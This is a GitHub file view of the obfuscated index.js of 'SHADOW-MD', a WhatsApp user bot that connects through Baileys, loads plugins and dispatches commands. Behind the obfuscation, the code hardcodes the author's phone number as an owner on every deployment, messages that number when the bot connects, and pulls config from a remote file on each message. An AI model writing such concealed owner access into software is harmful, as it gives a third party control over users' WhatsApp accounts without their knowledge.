forked from sachiya98/SHADOW-MD
-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
44 lines (38 loc) · 23.4 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//══════════════════════════════════════════════════════════════════════════════════════════════════════//
// //
// // 𝗦𝗛𝗔𝗗𝗢𝗪 𝐁𝐎𝐓 //
// //
// V:6.0 //
//
//──────────────────────────────────────//──────────────────────────────────────
//
//░██████╗██╗░░██╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗
//██╔════╝██║░░██║██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║
//╚█████╗░███████║███████║██║░░██║██║░░██║░╚██╗████╗██╔╝
//░╚═══██╗██╔══██║██╔══██║██║░░██║██║░░██║░░████╔═████║░
//██████╔╝██║░░██║██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░
//╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░
//███╗░░░███╗██████╗░
//████╗░████║██╔══██╗
//██╔████╔██║██║░░██║
//██║╚██╔╝██║██║░░██║
//██║░╚═╝░██║██████╔╝
//╚═╝░░░░░╚═╝╚═════╝░
//██╗░░░██╗███████╗██████╗░░██████╗██╗░█████╗░███╗░░██╗
//██║░░░██║██╔════╝██╔══██╗██╔════╝██║██╔══██╗████╗░██║
//╚██╗░██╔╝█████╗░░██████╔╝╚█████╗░██║██║░░██║██╔██╗██║
//░╚████╔╝░██╔══╝░░██╔══██╗░╚═══██╗██║██║░░██║██║╚████║
//░░╚██╔╝░░███████╗██║░░██║██████╔╝██║╚█████╔╝██║░╚███║
//░░░╚═╝░░░╚══════╝╚═╝░░╚═╝╚═════╝░╚═╝░╚════╝░╚═╝░░╚══╝
//░█████╗░██╗░░░██╗
//██╔═══╝░██║░░░██║
//██████╗░╚██╗░██╔╝
//██╔══██╗░╚████╔╝░
//╚█████╔╝░░╚██╔╝░░
//░╚════╝░░░░╚═╝░░░
//══════════════════════════════════════════════════════════════════════════════════════════════════════//
//*
// * @project_name : SHADOW-MD
// * @author : LAKSHAN DAMAYANTHA
// * @description : SHADOW ,A Multi-functional whatsapp user bot.
function _0x2426(){const _0x221c54=['messages.upsert','replace','audio/mpeg','remoteJid','subject','Session\x20download\x20completed\x20!!','buttonurl','endsWith','AUTO_READ_STATUS','groupMetadata','groups','nativeFlowResponseMessage','shift','1832802ipPRKR','parse','BTNURL','stanzaId','test','length','28SCUeIM','content-type','creds.update','type','/auth_info_baileys/creds.json','956568GQfCUE','interactiveResponseMessage','imageMessage','ephemeralMessage','gif','FOOTER','true','templateButtonReplyMessage','MODE','application/pdf','node-cache','./plugins/','94767910958','217100GDhrdq','fromMe','output','imageurl','join','function','user','private','stringify','composing','2225570HoVYYE','edit','alias','participants','error','conversation','Message','image','relayMessage','open','5847WixaaL','react','./lib/functions','\x20version*_','readMessages','catch','👨💻','[PLUGIN\x20ERROR]\x20','https://mega.nz/file/','photo','reactionMessage','caption','connection.update','log','@g.us','send','94704031866','AUTO_BIO','split','AUTO\x20TESTING','590IdENIZ','videoMessage','using\x20WA\x20v','existsSync','fromURL','listen','pino','loggedOut','button','pattern','SESSION_ID','sendPresenceUpdate','headers','video','toLowerCase','header','megajs','./config','SHADOW=','path','1159875ioSElr','footer','./command','express','2656jUzsgq','body','AUTO_VOICE','extname','./lib/msg','slice','child','extendedTextMessage','sendMessage','get','env','.js','404hgZAlZ','\x20⚡💻','pushName','🚀SHADOW-MD\x20CONNECTED\x20SUCCESSFUL✅\x20\x0a\x0a👑WELCOM\x20TO\x20SHADOW\x20MD\x20MULTIDEVICE\x20WHATSAPP\x20BOT👑\x0a\x0a*🚀\x20OWNER:\x20\x20Lakshan\x20damayantha\x20👨💻*\x0a\x0a*🔹\x20CONTACT\x20:\x20https://wa.me/+94767910958*\x0a\x0a\x20\x20*🚀\x20PREFIX:\x20\x20\x20(\x20\x20.\x20\x20)*\x0a\x0a>\x20THANK\x20FOR\x20YOU\x20USING\x20MY\x20BOT\x20\x20*👨💻SHADOW\x20MD👨💻*\x0a\x0a>\x20You\x20can\x20give\x20happiness\x20to\x20others\x20as\x20well\x20as\x20yourself\x20with\x20this\x20bot\x20💗🚀\x0a\x0a>\x20This\x20bot\x20is\x20the\x20first\x20bot\x20I\x20made,\x20so\x20let\x20me\x20know\x20if\x20there\x20is\x20anything\x20wrong\x20😸💭\x0a\x0a*⛓JOIN\x20IN\x20MY\x20WHATSAPP\x20GROUP\x20-\x20:*\x20https://whatsapp.com/channel/0029Val6g7EBadmagKxuYi1R\x0a\x0a*ρσɯҽԃ\x20Ⴆყ\x20𝙻𝙰𝙺𝚂𝙷𝙰𝙽\x20𝚃𝙴𝙲𝙻𝙾𝙻𝙾𝙶𝚈\x20ꪶ🕊🍒*','Installing\x20plugins\x20🔌...\x20','close','download','🚀\x20SHADOW\x20Working\x20successfully!','fatal','PORT','messages','waUploadToServer','/auth_info_baileys/','BTN','video/mp4','find','paramsJson','audio','key','startsWith','includes','data','quotedMessage','text','selectedId','https://raw.githubusercontent.com/DarkYasiyaofc/VOICE/main/Voice-Raw/FROZEN-V2','contextInfo','head','forEach','map','AUTO_TYPING','message','commands',',\x20isLatest:\x20','trim'];_0x2426=function(){return _0x221c54;};return _0x2426();}function _0x1f1c(_0x3399a2,_0x297805){const _0x242647=_0x2426();return _0x1f1c=function(_0x1f1c85,_0x5a303f){_0x1f1c85=_0x1f1c85-0x1dd;let _0x372ec7=_0x242647[_0x1f1c85];return _0x372ec7;},_0x1f1c(_0x3399a2,_0x297805);}const _0x40fa22=_0x1f1c;(function(_0x47354c,_0x586ece){const _0x2ec54c=_0x1f1c,_0xce584f=_0x47354c();while(!![]){try{const _0x34e04e=parseInt(_0x2ec54c(0x26e))/0x1+-parseInt(_0x2ec54c(0x226))/0x2*(parseInt(_0x2ec54c(0x1ee))/0x3)+-parseInt(_0x2ec54c(0x21a))/0x4*(parseInt(_0x2ec54c(0x202))/0x5)+-parseInt(_0x2ec54c(0x256))/0x6+parseInt(_0x2ec54c(0x25c))/0x7*(parseInt(_0x2ec54c(0x261))/0x8)+parseInt(_0x2ec54c(0x216))/0x9+parseInt(_0x2ec54c(0x1e4))/0xa;if(_0x34e04e===_0x586ece)break;else _0xce584f['push'](_0xce584f['shift']());}catch(_0x246d69){_0xce584f['push'](_0xce584f['shift']());}}}(_0x2426,0x41bf3));const {default:makeWASocket,useMultiFileAuthState,DisconnectReason,getDevice,fetchLatestBaileysVersion,jidNormalizedUser,getContentType,generateWAMessageFromContent,prepareWAMessageMedia,proto}=require('@whiskeysockets/baileys'),fs=require('fs'),P=require(_0x40fa22(0x208)),config=require(_0x40fa22(0x213)),qrcode=require('qrcode-terminal'),NodeCache=require(_0x40fa22(0x26b)),util=require('util'),{getBuffer,getGroupAdmins,getRandom,h2k,isUrl,Json,runtime,sleep,fetchJson,fetchBuffer,getFile}=require(_0x40fa22(0x1f0)),{sms,downloadMediaMessage}=require(_0x40fa22(0x21e)),axios=require('axios'),{File}=require(_0x40fa22(0x212)),path=require('path'),msgRetryCounterCache=new NodeCache(),prefix='.',ownerNumber=['94767910958'];if(!fs[_0x40fa22(0x205)](__dirname+_0x40fa22(0x260))){if(config['SESSION_ID']){const sessdata=config[_0x40fa22(0x20c)][_0x40fa22(0x24a)](_0x40fa22(0x214),''),filer=File[_0x40fa22(0x206)](_0x40fa22(0x1f6)+sessdata);filer[_0x40fa22(0x22c)]((_0x14a3d2,_0x12cdee)=>{if(_0x14a3d2)throw _0x14a3d2;fs['writeFile'](__dirname+'/auth_info_baileys/creds.json',_0x12cdee,()=>{const _0xf9a922=_0x1f1c;console[_0xf9a922(0x1fb)](_0xf9a922(0x24e));});});}}const express=require(_0x40fa22(0x219)),app=express(),port=process[_0x40fa22(0x224)][_0x40fa22(0x22f)]||0x1f40;async function connectToWA(){const _0x5b3a8b=_0x40fa22,{version:_0x54437c,isLatest:_0xe5ba88}=await fetchLatestBaileysVersion();console[_0x5b3a8b(0x1fb)](_0x5b3a8b(0x204)+_0x54437c[_0x5b3a8b(0x1de)]('.')+_0x5b3a8b(0x247)+_0xe5ba88);const {state:_0x35ceae,saveCreds:_0x2cb704}=await useMultiFileAuthState(__dirname+_0x5b3a8b(0x232)),_0x37fc4b=makeWASocket({'logger':P({'level':_0x5b3a8b(0x22e)})[_0x5b3a8b(0x220)]({'level':_0x5b3a8b(0x22e)}),'printQRInTerminal':!![],'generateHighQualityLinkPreview':!![],'auth':_0x35ceae,'defaultQueryTimeoutMs':undefined,'msgRetryCounterCache':msgRetryCounterCache});_0x37fc4b['ev']['on'](_0x5b3a8b(0x1fa),async _0x2b63fe=>{const _0x4177c8=_0x5b3a8b,{connection:_0x578b23,lastDisconnect:_0x44be78}=_0x2b63fe;if(_0x578b23===_0x4177c8(0x22b))_0x44be78[_0x4177c8(0x1e8)][_0x4177c8(0x270)]['statusCode']!==DisconnectReason[_0x4177c8(0x209)]&&connectToWA();else{if(_0x578b23===_0x4177c8(0x1ed)){console[_0x4177c8(0x1fb)](_0x4177c8(0x22a));const _0x526e1a=require(_0x4177c8(0x215));fs['readdirSync'](_0x4177c8(0x26c))[_0x4177c8(0x242)](_0x40b1f3=>{const _0x3e7565=_0x4177c8;_0x526e1a[_0x3e7565(0x21d)](_0x40b1f3)[_0x3e7565(0x210)]()==_0x3e7565(0x225)&&require(_0x3e7565(0x26c)+_0x40b1f3);}),console[_0x4177c8(0x1fb)]('Plugins\x20installed\x20✅'),console['log']('Bot\x20connected\x20✅');let _0xdc4596=_0x4177c8(0x229);_0x37fc4b[_0x4177c8(0x222)](ownerNumber+'@s.whatsapp.net',{'image':{'url':'https://i.imgur.com/pJ5WluK.jpeg'},'caption':_0xdc4596});}}}),_0x37fc4b['ev']['on'](_0x5b3a8b(0x25e),_0x2cb704),_0x37fc4b['ev']['on'](_0x5b3a8b(0x249),async _0x2db435=>{const _0x2730f1=_0x5b3a8b;try{_0x2db435=_0x2db435[_0x2730f1(0x230)][0x0];if(!_0x2db435[_0x2730f1(0x245)])return;_0x2db435[_0x2730f1(0x245)]=getContentType(_0x2db435['message'])===_0x2730f1(0x264)?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x264)][_0x2730f1(0x245)]:_0x2db435[_0x2730f1(0x245)];_0x2db435[_0x2730f1(0x238)]&&_0x2db435[_0x2730f1(0x238)][_0x2730f1(0x24c)]==='status@broadcast'&&config[_0x2730f1(0x251)]===_0x2730f1(0x267)&&await _0x37fc4b['readMessages']([_0x2db435[_0x2730f1(0x238)]]);config[_0x2730f1(0x1ff)]===_0x2730f1(0x267)&&await _0x37fc4b['updateProfileStatus']('𝗦𝗛𝗔𝗗𝗢𝗪\x20𝗠𝗗\x20💗\x20𝗕𝗘𝗦𝗧\x20𝗪𝗔𝗧𝗦\x20𝗔𝗣𝗣\x20𝗕𝗢𝗧\x20➤\x20𝗧𝗵𝗶𝘀\x20𝗗𝗲𝘃𝗶𝗰𝗲\x20𝗜𝘁\x20𝗛𝗮𝘃𝗲\x20𝗕𝗲𝗲𝗻\x20𝗥𝘂𝗻𝗻𝗶𝗻𝗴\x20𝗙𝗼𝗿\x20\x20'+runtime(process['uptime']())+_0x2730f1(0x227));const _0x30d959=sms(_0x37fc4b,_0x2db435),_0x5d51fe=getContentType(_0x2db435['message']),_0x3e1b80=JSON[_0x2730f1(0x1e2)](_0x2db435[_0x2730f1(0x245)]),_0x29a377=_0x2db435[_0x2730f1(0x238)][_0x2730f1(0x24c)],_0x50393f=_0x5d51fe==_0x2730f1(0x221)&&_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x221)]['contextInfo']!=null?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x221)][_0x2730f1(0x240)][_0x2730f1(0x23c)]||[]:[],_0x5ba08a=_0x5d51fe===_0x2730f1(0x1e9)?_0x2db435[_0x2730f1(0x245)]['conversation']:_0x5d51fe==='extendedTextMessage'?_0x2db435[_0x2730f1(0x245)]['extendedTextMessage'][_0x2730f1(0x23d)]:_0x5d51fe=='interactiveResponseMessage'?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x262)]&&_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x262)]['nativeFlowResponseMessage']&&JSON[_0x2730f1(0x257)](_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x262)][_0x2730f1(0x254)]['paramsJson'])&&JSON[_0x2730f1(0x257)](_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x262)][_0x2730f1(0x254)][_0x2730f1(0x236)])['id']:_0x5d51fe==_0x2730f1(0x268)?_0x2db435['message']['templateButtonReplyMessage']&&_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x268)][_0x2730f1(0x23e)]:_0x5d51fe===_0x2730f1(0x221)?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x221)][_0x2730f1(0x23d)]:_0x5d51fe=='imageMessage'&&_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x263)]['caption']?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x263)][_0x2730f1(0x1f9)]:_0x5d51fe==_0x2730f1(0x203)&&_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x203)][_0x2730f1(0x1f9)]?_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x203)][_0x2730f1(0x1f9)]:'',_0x2d08c6=_0x5ba08a[_0x2730f1(0x239)](prefix),_0x538e33=_0x2d08c6?_0x5ba08a[_0x2730f1(0x21f)](prefix[_0x2730f1(0x25b)])['trim']()[_0x2730f1(0x200)]('\x20')[_0x2730f1(0x255)]()['toLowerCase']():'',_0x5af303=_0x5ba08a['trim']()[_0x2730f1(0x200)](/ +/)[_0x2730f1(0x21f)](0x1),_0x14db3f=_0x5af303[_0x2730f1(0x1de)]('\x20'),_0x4aa169=_0x29a377[_0x2730f1(0x250)](_0x2730f1(0x1fc)),_0x32bd85=_0x2db435['key'][_0x2730f1(0x26f)]?_0x37fc4b[_0x2730f1(0x1e0)]['id'][_0x2730f1(0x200)](':')[0x0]+'@s.whatsapp.net'||_0x37fc4b[_0x2730f1(0x1e0)]['id']:_0x2db435[_0x2730f1(0x238)]['participant']||_0x2db435[_0x2730f1(0x238)][_0x2730f1(0x24c)],_0x1ea828=_0x32bd85['split']('@')[0x0],_0x2fb822=_0x37fc4b[_0x2730f1(0x1e0)]['id']['split'](':')[0x0],_0x3c43fb=_0x2db435[_0x2730f1(0x228)]||_0x2730f1(0x201),_0x4f4ead=_0x2730f1(0x26d),_0x4129ad=_0x2fb822[_0x2730f1(0x23a)](_0x1ea828),_0x3946b2=_0x4f4ead['includes'](_0x1ea828),_0x4cb4dd=_0x4129ad?_0x4129ad:_0x3946b2,_0x462f98=ownerNumber[_0x2730f1(0x23a)](_0x1ea828)||_0x4cb4dd,_0x4ce030=await jidNormalizedUser(_0x37fc4b[_0x2730f1(0x1e0)]['id']),_0x8e06a7=_0x4aa169?await _0x37fc4b[_0x2730f1(0x252)](_0x29a377)[_0x2730f1(0x1f3)](_0x5cb01e=>{}):'',_0x102e01=_0x4aa169?_0x8e06a7[_0x2730f1(0x24d)]:'',_0x17b381=_0x4aa169?await _0x8e06a7[_0x2730f1(0x1e7)]:'',_0x286b30=_0x4aa169?await getGroupAdmins(_0x17b381):'',_0x5f28b6=_0x4aa169?_0x286b30[_0x2730f1(0x23a)](_0x4ce030):![],_0x36fdbf=_0x4aa169?_0x286b30['includes'](_0x32bd85):![],_0x165a12=_0x564de0=>{const _0x27a476=_0x2730f1;let _0x2c2607=_0x564de0;for(let _0x422d9c=0x0;_0x422d9c<_0x2c2607[_0x27a476(0x25b)];_0x422d9c++){if(_0x2c2607[_0x422d9c]===_0x29a377)return!![];}return![];},_0x33e8d0=async _0x3610ac=>{const _0x300419=_0x2730f1;return await _0x37fc4b[_0x300419(0x222)](_0x29a377,{'text':_0x3610ac},{'quoted':_0x2db435});},_0xa08a06=(await axios['get']('https://raw.githubusercontent.com/Shadowteach/shadow-raw/refs/heads/main/raw.json'))[_0x2730f1(0x23b)];config['LOGO']=_0xa08a06[_0x2730f1(0x1dd)],config[_0x2730f1(0x233)]=_0xa08a06[_0x2730f1(0x20a)],config[_0x2730f1(0x266)]=_0xa08a06[_0x2730f1(0x217)],config[_0x2730f1(0x258)]=_0xa08a06[_0x2730f1(0x24f)],_0x37fc4b[_0x2730f1(0x1e5)]=async(_0x4e9241,_0x105f9a)=>{const _0x377761=_0x2730f1;await _0x37fc4b['relayMessage'](_0x29a377,{'protocolMessage':{'key':_0x4e9241[_0x377761(0x238)],'type':0xe,'editedMessage':{'conversation':_0x105f9a}}},{});},_0x37fc4b['sendFileUrl']=async(_0x35cba4,_0x2e8f69,_0x165437,_0x3a4ebf,_0x241d0e={})=>{const _0x357df2=_0x2730f1;let _0x194483='',_0x279b68=await axios[_0x357df2(0x241)](_0x2e8f69);_0x194483=_0x279b68[_0x357df2(0x20e)][_0x357df2(0x25d)];if(_0x194483['split']('/')[0x1]===_0x357df2(0x265))return _0x37fc4b[_0x357df2(0x222)](_0x35cba4,{'video':await getBuffer(_0x2e8f69),'caption':_0x165437,'gifPlayback':!![],..._0x241d0e},{'quoted':_0x3a4ebf,..._0x241d0e});let _0x195346=_0x194483[_0x357df2(0x200)]('/')[0x0]+_0x357df2(0x1ea);if(_0x194483===_0x357df2(0x26a))return _0x37fc4b[_0x357df2(0x222)](_0x35cba4,{'document':await getBuffer(_0x2e8f69),'mimetype':_0x357df2(0x26a),'caption':_0x165437,..._0x241d0e},{'quoted':_0x3a4ebf,..._0x241d0e});if(_0x194483['split']('/')[0x0]===_0x357df2(0x1eb))return _0x37fc4b['sendMessage'](_0x35cba4,{'image':await getBuffer(_0x2e8f69),'caption':_0x165437,..._0x241d0e},{'quoted':_0x3a4ebf,..._0x241d0e});if(_0x194483['split']('/')[0x0]==='video')return _0x37fc4b['sendMessage'](_0x35cba4,{'video':await getBuffer(_0x2e8f69),'caption':_0x165437,'mimetype':_0x357df2(0x234),..._0x241d0e},{'quoted':_0x3a4ebf,..._0x241d0e});if(_0x194483[_0x357df2(0x200)]('/')[0x0]===_0x357df2(0x237))return _0x37fc4b[_0x357df2(0x222)](_0x35cba4,{'audio':await getBuffer(_0x2e8f69),'caption':_0x165437,'mimetype':'audio/mpeg',..._0x241d0e},{'quoted':_0x3a4ebf,..._0x241d0e});},_0x37fc4b['sendButtonMessage']=async(_0x49735e,_0x1a3ae1,_0x590966,_0x33e02b={})=>{const _0xdc74c3=_0x2730f1;let _0x3f65ee;if(_0x33e02b?.[_0xdc74c3(0x20f)]){var _0x2d25a7=await prepareWAMessageMedia({'video':{'url':_0x33e02b&&_0x33e02b[_0xdc74c3(0x20f)]?_0x33e02b[_0xdc74c3(0x20f)]:''}},{'upload':_0x37fc4b[_0xdc74c3(0x231)]});_0x3f65ee={'title':_0x33e02b&&_0x33e02b['header']?_0x33e02b[_0xdc74c3(0x211)]:'','hasMediaAttachment':!![],'videoMessage':_0x2d25a7[_0xdc74c3(0x203)]};}else{if(_0x33e02b?.[_0xdc74c3(0x1eb)]){var _0x38a0c3=await prepareWAMessageMedia({'image':{'url':_0x33e02b&&_0x33e02b[_0xdc74c3(0x1eb)]?_0x33e02b[_0xdc74c3(0x1eb)]:''}},{'upload':_0x37fc4b[_0xdc74c3(0x231)]});_0x3f65ee={'title':_0x33e02b&&_0x33e02b[_0xdc74c3(0x211)]?_0x33e02b[_0xdc74c3(0x211)]:'','hasMediaAttachment':!![],'imageMessage':_0x38a0c3['imageMessage']};}else _0x3f65ee={'title':_0x33e02b&&_0x33e02b[_0xdc74c3(0x211)]?_0x33e02b[_0xdc74c3(0x211)]:'','hasMediaAttachment':![]};}let _0x365950=generateWAMessageFromContent(_0x49735e,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':{'body':{'text':_0x33e02b&&_0x33e02b[_0xdc74c3(0x21b)]?_0x33e02b[_0xdc74c3(0x21b)]:''},'footer':{'text':_0x33e02b&&_0x33e02b[_0xdc74c3(0x217)]?_0x33e02b[_0xdc74c3(0x217)]:''},'header':_0x3f65ee,'nativeFlowMessage':{'buttons':_0x1a3ae1,'messageParamsJson':''}}}}},{'quoted':_0x590966});return await _0x37fc4b[_0xdc74c3(0x20d)](_0xdc74c3(0x1e3),_0x49735e),await sleep(0x3e8*0x1),await _0x37fc4b[_0xdc74c3(0x1ec)](_0x49735e,_0x365950[_0xdc74c3(0x245)],{'messageId':_0x365950[_0xdc74c3(0x238)]['id']});};const _0x59f998=_0x30d959[_0x2730f1(0x245)][_0x2730f1(0x1f8)]?!![]:![];if(_0x1ea828[_0x2730f1(0x23a)](_0x2730f1(0x26d))){if(_0x59f998)return;_0x30d959[_0x2730f1(0x1ef)](_0x2730f1(0x1f4));}if(_0x1ea828['includes'](_0x2730f1(0x1fe))){if(_0x59f998)return;_0x30d959[_0x2730f1(0x1ef)]('🧙♂️');}_0x2d08c6&&config['AUTO_READ_CMD']===_0x2730f1(0x267)&&await _0x37fc4b[_0x2730f1(0x1f2)]([_0x2db435['key']]);config[_0x2730f1(0x244)]==='true'&&await _0x37fc4b[_0x2730f1(0x20d)](_0x2730f1(0x1e3),_0x29a377);if(config[_0x2730f1(0x21c)]===_0x2730f1(0x267)){const _0x3ef92c=_0x2730f1(0x23f);let {data:_0x534ab5}=await axios['get'](_0x3ef92c);for(vr in _0x534ab5){if(new RegExp('\x5cb'+vr+'\x5cb','gi')[_0x2730f1(0x25a)](_0x5ba08a))_0x37fc4b[_0x2730f1(0x222)](_0x29a377,{'audio':{'url':_0x534ab5[vr]},'mimetype':_0x2730f1(0x24b),'ptt':!![]},{'quoted':_0x2db435});}}if(!_0x462f98&&config[_0x2730f1(0x269)]===_0x2730f1(0x1e1))return;if(!_0x462f98&&_0x4aa169&&config[_0x2730f1(0x269)]==='inbox')return;if(!_0x462f98&&!_0x4aa169&&config[_0x2730f1(0x269)]===_0x2730f1(0x253))return;const _0x41ac06=require(_0x2730f1(0x218)),_0x3bf311=_0x2d08c6?_0x5ba08a[_0x2730f1(0x21f)](0x1)[_0x2730f1(0x248)]()[_0x2730f1(0x200)]('\x20')[0x0]['toLowerCase']():![];if(_0x2d08c6){const _0x1c288c=_0x41ac06['commands'][_0x2730f1(0x235)](_0x2c6830=>_0x2c6830[_0x2730f1(0x20b)]===_0x3bf311)||_0x41ac06[_0x2730f1(0x246)][_0x2730f1(0x235)](_0x5a9936=>_0x5a9936[_0x2730f1(0x1e6)]&&_0x5a9936[_0x2730f1(0x1e6)]['includes'](_0x3bf311));if(_0x1c288c){if(_0x1c288c[_0x2730f1(0x1ef)])_0x37fc4b[_0x2730f1(0x222)](_0x29a377,{'react':{'text':_0x1c288c[_0x2730f1(0x1ef)],'key':_0x2db435['key']}});try{_0x1c288c[_0x2730f1(0x1df)](_0x37fc4b,_0x2db435,_0x30d959,{'from':_0x29a377,'prefix':prefix,'quoted':_0x50393f,'body':_0x5ba08a,'isCmd':_0x2d08c6,'command':_0x538e33,'args':_0x5af303,'q':_0x14db3f,'isGroup':_0x4aa169,'sender':_0x32bd85,'senderNumber':_0x1ea828,'botNumber2':_0x4ce030,'botNumber':_0x2fb822,'pushname':_0x3c43fb,'isMe':_0x4cb4dd,'isOwner':_0x462f98,'groupMetadata':_0x8e06a7,'groupName':_0x102e01,'participants':_0x17b381,'groupAdmins':_0x286b30,'isBotAdmins':_0x5f28b6,'isAdmins':_0x36fdbf,'reply':_0x33e8d0});}catch(_0x23500d){console[_0x2730f1(0x1e8)](_0x2730f1(0x1f5),_0x23500d);}}}_0x41ac06[_0x2730f1(0x246)][_0x2730f1(0x243)](async _0x785c05=>{const _0x2fb3d8=_0x2730f1;if(_0x5ba08a&&_0x785c05['on']===_0x2fb3d8(0x21b))_0x785c05['function'](_0x37fc4b,_0x2db435,_0x30d959,{'from':_0x29a377,'prefix':prefix,'quoted':_0x50393f,'body':_0x5ba08a,'isCmd':_0x2d08c6,'command':_0x785c05,'args':_0x5af303,'q':_0x14db3f,'isGroup':_0x4aa169,'sender':_0x32bd85,'senderNumber':_0x1ea828,'botNumber2':_0x4ce030,'botNumber':_0x2fb822,'pushname':_0x3c43fb,'isMe':_0x4cb4dd,'isOwner':_0x462f98,'groupMetadata':_0x8e06a7,'groupName':_0x102e01,'participants':_0x17b381,'groupAdmins':_0x286b30,'isBotAdmins':_0x5f28b6,'isAdmins':_0x36fdbf,'reply':_0x33e8d0});else{if(_0x2db435['q']&&_0x785c05['on']===_0x2fb3d8(0x23d))_0x785c05['function'](_0x37fc4b,_0x2db435,_0x30d959,{'from':_0x29a377,'quoted':_0x50393f,'body':_0x5ba08a,'isCmd':_0x2d08c6,'command':_0x785c05,'args':_0x5af303,'q':_0x14db3f,'isGroup':_0x4aa169,'sender':_0x32bd85,'senderNumber':_0x1ea828,'botNumber2':_0x4ce030,'botNumber':_0x2fb822,'pushname':_0x3c43fb,'isMe':_0x4cb4dd,'isOwner':_0x462f98,'groupMetadata':_0x8e06a7,'groupName':_0x102e01,'participants':_0x17b381,'groupAdmins':_0x286b30,'isBotAdmins':_0x5f28b6,'isAdmins':_0x36fdbf,'reply':_0x33e8d0});else{if((_0x785c05['on']===_0x2fb3d8(0x1eb)||_0x785c05['on']===_0x2fb3d8(0x1f7))&&_0x2db435[_0x2fb3d8(0x25f)]===_0x2fb3d8(0x263))_0x785c05[_0x2fb3d8(0x1df)](_0x37fc4b,_0x2db435,_0x30d959,{'from':_0x29a377,'prefix':prefix,'quoted':_0x50393f,'body':_0x5ba08a,'isCmd':_0x2d08c6,'command':_0x785c05,'args':_0x5af303,'q':_0x14db3f,'isGroup':_0x4aa169,'sender':_0x32bd85,'senderNumber':_0x1ea828,'botNumber2':_0x4ce030,'botNumber':_0x2fb822,'pushname':_0x3c43fb,'isMe':_0x4cb4dd,'isOwner':_0x462f98,'groupMetadata':_0x8e06a7,'groupName':_0x102e01,'participants':_0x17b381,'groupAdmins':_0x286b30,'isBotAdmins':_0x5f28b6,'isAdmins':_0x36fdbf,'reply':_0x33e8d0});else _0x785c05['on']==='sticker'&&_0x2db435[_0x2fb3d8(0x25f)]==='stickerMessage'&&_0x785c05[_0x2fb3d8(0x1df)](_0x37fc4b,_0x2db435,_0x30d959,{'from':_0x29a377,'prefix':prefix,'quoted':_0x50393f,'body':_0x5ba08a,'isCmd':_0x2d08c6,'command':_0x785c05,'args':_0x5af303,'q':_0x14db3f,'isGroup':_0x4aa169,'sender':_0x32bd85,'senderNumber':_0x1ea828,'botNumber2':_0x4ce030,'botNumber':_0x2fb822,'pushname':_0x3c43fb,'isMe':_0x4cb4dd,'isOwner':_0x462f98,'groupMetadata':_0x8e06a7,'groupName':_0x102e01,'participants':_0x17b381,'groupAdmins':_0x286b30,'isBotAdmins':_0x5f28b6,'isAdmins':_0x36fdbf,'reply':_0x33e8d0});}}});switch(_0x538e33){case'jid':_0x33e8d0(_0x29a377);break;case'device':{let _0x593246=getDevice(_0x2db435[_0x2730f1(0x245)][_0x2730f1(0x221)]['contextInfo'][_0x2730f1(0x259)]);_0x33e8d0('*He\x20Is\x20Using*\x20_*Whatsapp\x20'+_0x593246+_0x2730f1(0x1f1));}break;default:}}catch(_0x2367bb){const _0x48cfa1=String(_0x2367bb);console['log'](_0x48cfa1);}});}app[_0x40fa22(0x223)]('/',(_0x41a6c6,_0x1dce6f)=>{const _0x4d16a6=_0x40fa22;_0x1dce6f[_0x4d16a6(0x1fd)](_0x4d16a6(0x22d));}),app[_0x40fa22(0x207)](port,()=>console[_0x40fa22(0x1fb)]('SHADOW\x20Server\x20listening\x20on\x20port\x20http://localhost:'+port)),setTimeout(async()=>{await connectToWA();},0x3e8);